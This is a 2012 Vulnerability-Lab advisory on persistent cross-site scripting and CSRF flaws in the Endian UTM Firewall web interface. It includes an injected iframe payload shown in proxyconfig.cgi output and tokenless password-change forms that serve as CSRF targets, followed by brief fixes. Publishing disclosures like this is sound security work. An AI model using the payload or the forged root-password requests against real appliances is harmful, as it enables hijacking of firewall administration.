214 lines
No EOL
7.8 KiB
Text
214 lines
No EOL
7.8 KiB
Text
Title:
|
||
======
|
||
Endian UTM Firewall v2.4.x & v2.5.0 - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-03-01
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=228
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
228
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
Einfach, schnell und zukunftssicher! Die ideale Lösung, um Ihre Filialen und industriellen Zweigstellen rund um den Globus zu schützen.
|
||
Endian 4i ist die ideale Lösung für Büroaußenstellen oder Industrieinstallationen. Die Firewall ist in den zwei Varianten „Office“ und
|
||
„Industrial“ erhältlich. Die Office-Version bietet alle Funktionen, um Netzwerke in der Firma und in Verbindung mit Außenstellen einfach
|
||
und sicher zu verlinken. Derselbe Funktionsumfang ist bei der Industrial-Version vorhanden, die sich speziell an den Industriebereich
|
||
richtet und 24V Support bietet sowie auf der Hutschiene installiert werden kann. Remote-Supporting, Remote-Konfiguration, Systemüberwachung
|
||
bis hin zur einfachen, sicheren Vernetzung von Außenstellen – die Kostenvorteile dabei liegen auf der Hand. Sichern auch Sie sich die
|
||
Konnektivität Ihres Unternehmens ab, und behalten Sie mit der Endian 4i stets die Nase vorn.
|
||
|
||
(Copy of the Vendor Homepage: http://www.endian.com/de/products/utm-hardware/4i/)
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
Vulnerability-Lab Team discovered multiple Web Vulnerabilities on Endians UTM Firewall v2.5.0 Appliance.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2011-09-16: Vendor Notification
|
||
2011-09-20: Vendor Response/Feedback
|
||
2012-00-00: Vendor Fix/Patch
|
||
2012-03-01: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Endian
|
||
Product: UTM Firewall Appliance Application v2.5.-x; 2.4-0 & 2.4.-x
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
High
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
Multiple persistent input validation vulnerabilities are detected on Endians WAF UTM appliance application.
|
||
The vulnerability allows an attacker to manipulate specific application requests via persistent included script codes.
|
||
|
||
|
||
Vulnerable: Input Validation Vulnerabilities (Server-Side|Persistent)
|
||
|
||
Vulnerable Module(s):
|
||
[+] Proxy - HTTP Configuration Masks
|
||
[+] Service - Intrusion Prevention
|
||
[+] Netzwerk - Host Configuration
|
||
[+] DHCP
|
||
|
||
Pictures:
|
||
../ive1.png
|
||
|
||
|
||
1.2
|
||
Multiple cross site request forgery vulnerabilities are detected on client-side of the edian waf appliance.
|
||
The vulnerability allows an attacker to force client-side module requests of application functions.
|
||
|
||
Vulnerable: Cross Site Request Forgery Vulnerabilities (Client-Side|Non Persistent)
|
||
|
||
Vulnerable Module(s):
|
||
[+] HotSpot - Add Password
|
||
[+] System - Passwords
|
||
|
||
Picture(s):
|
||
../csrf1.png
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The vulnerabilities can be exploited by remote attackers with high required user inter action or local low privileged user accounts.
|
||
For demonstration or reproduce ...
|
||
|
||
1.1
|
||
Example Code Review: Input Validation Vulnerabilities (Persistent Inject)
|
||
|
||
Server: demo.endian.com/
|
||
Path: /cgi-bin/
|
||
File: proxyconfig.cgi
|
||
|
||
<div id="page-content-box"> <div id="notification-view" class="spinner" style="display:none"></div>
|
||
<div id="module-content">
|
||
<script type="text/javascript">
|
||
$(document).ready(function() {
|
||
/* Enable visualization of service notifications */
|
||
display_notifications(["squid","dansguardian","havp","sarg"], {"startMessage": "Proxy settings are being
|
||
applied. Please hold...","updateContent": ".service-switch-form","type": "observe","endMessage": "Proxy settings have been
|
||
applied successfully.","interval": "500"});
|
||
})
|
||
</script>
|
||
<div class="error-fancy" style="width: 504px; ">
|
||
<div class="content">
|
||
<table cellpadding="0" cellspacing="0" border="0">
|
||
<tr>
|
||
|
||
<td class="sign" valign="middle"><img src="/images/bubble_red_sign.png" alt="" border="0" /></td>
|
||
<td class="text" valign="middle">">"<iframe src=http://vulnerability-lab.com width=600 height=600>@aollamer.de"
|
||
at "Email used for notification (cache admin)" is not valid!(or?@rem0ve)<br /></td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
|
||
Reference(s):
|
||
https://xx.xxxx.com/cgi-bin/proxyconfig.cgi
|
||
https://xx.xxxx.com/cgi-bin/hosts.cgi
|
||
https://xx.xxxx.com/cgi-bin/dhcp.cgi
|
||
|
||
|
||
|
||
1.2
|
||
Example Code Review: Cross Site Request Forgery Vulnerabilities (Non-Persistent)
|
||
|
||
Server: demo.endian.com/
|
||
Path: /cgi-bin/
|
||
File: hotspot-changepw.cgi or changepw.cgi
|
||
|
||
<form action="/cgi-bin/changepw.cgi" method="post">
|
||
<div class="section first multi-column">
|
||
<input type='hidden' name='ACTION_ROOT' value='save' />
|
||
<div class="title"><h2 class="title">SSH Password (root)</h2></div>
|
||
<div class="fields-row">
|
||
<span class="multi-field">
|
||
<label id="username_field" for="username">Password *</label>
|
||
|
||
<input type="password" name="ROOT_PASSWORD1" SIZE="5" /></span>
|
||
|
||
... or
|
||
|
||
<form enctype='multipart/form-data' method='post' action='/cgi-bin/hotspot-changepw.cgi'>
|
||
<input type='hidden' name='ACTION_HOTSPOT' value='save' />
|
||
<table width='100%'>
|
||
|
||
<tr>
|
||
<td width='15%' class='base'>Password:</td>
|
||
<td width='30%'><input type='password' name='HOTSPOT_PASSWORD1' /></td>
|
||
<td width='15%' class='base'>Again:</td>
|
||
<td width='30%'><input type='password' name='HOTSPOT_PASSWORD2' /></td>
|
||
<td width='10%'><input class='submitbutton' type='submit' name='submit' value='Save' /></td>
|
||
</tr>
|
||
</table>
|
||
</form>
|
||
|
||
|
||
References:
|
||
https://xx.xxxx.com/cgi-bin/changepw.cgi
|
||
https://xx.xxxx.com/cgi-bin/hotspot-changepw.cgi
|
||
|
||
|
||
Solution:
|
||
=========
|
||
1.1
|
||
Restrict & parse the vulnerable input & output sections to fix the persistent injects.
|
||
|
||
1.2
|
||
Use a csrf tokens & a checkbox to verify a request.
|
||
|
||
|
||
Risk:
|
||
=====
|
||
The security risk of the persistent vulnerabilities are estimated as high(-).
|
||
The security risk of the non-persistent vulnerabilities are estimated as low(+).
|
||
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
|
||
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
|
||
other media, are reserved by Vulnerability-Lab or its suppliers.
|
||
|
||
Copyright © 2012|Vulnerability-Lab |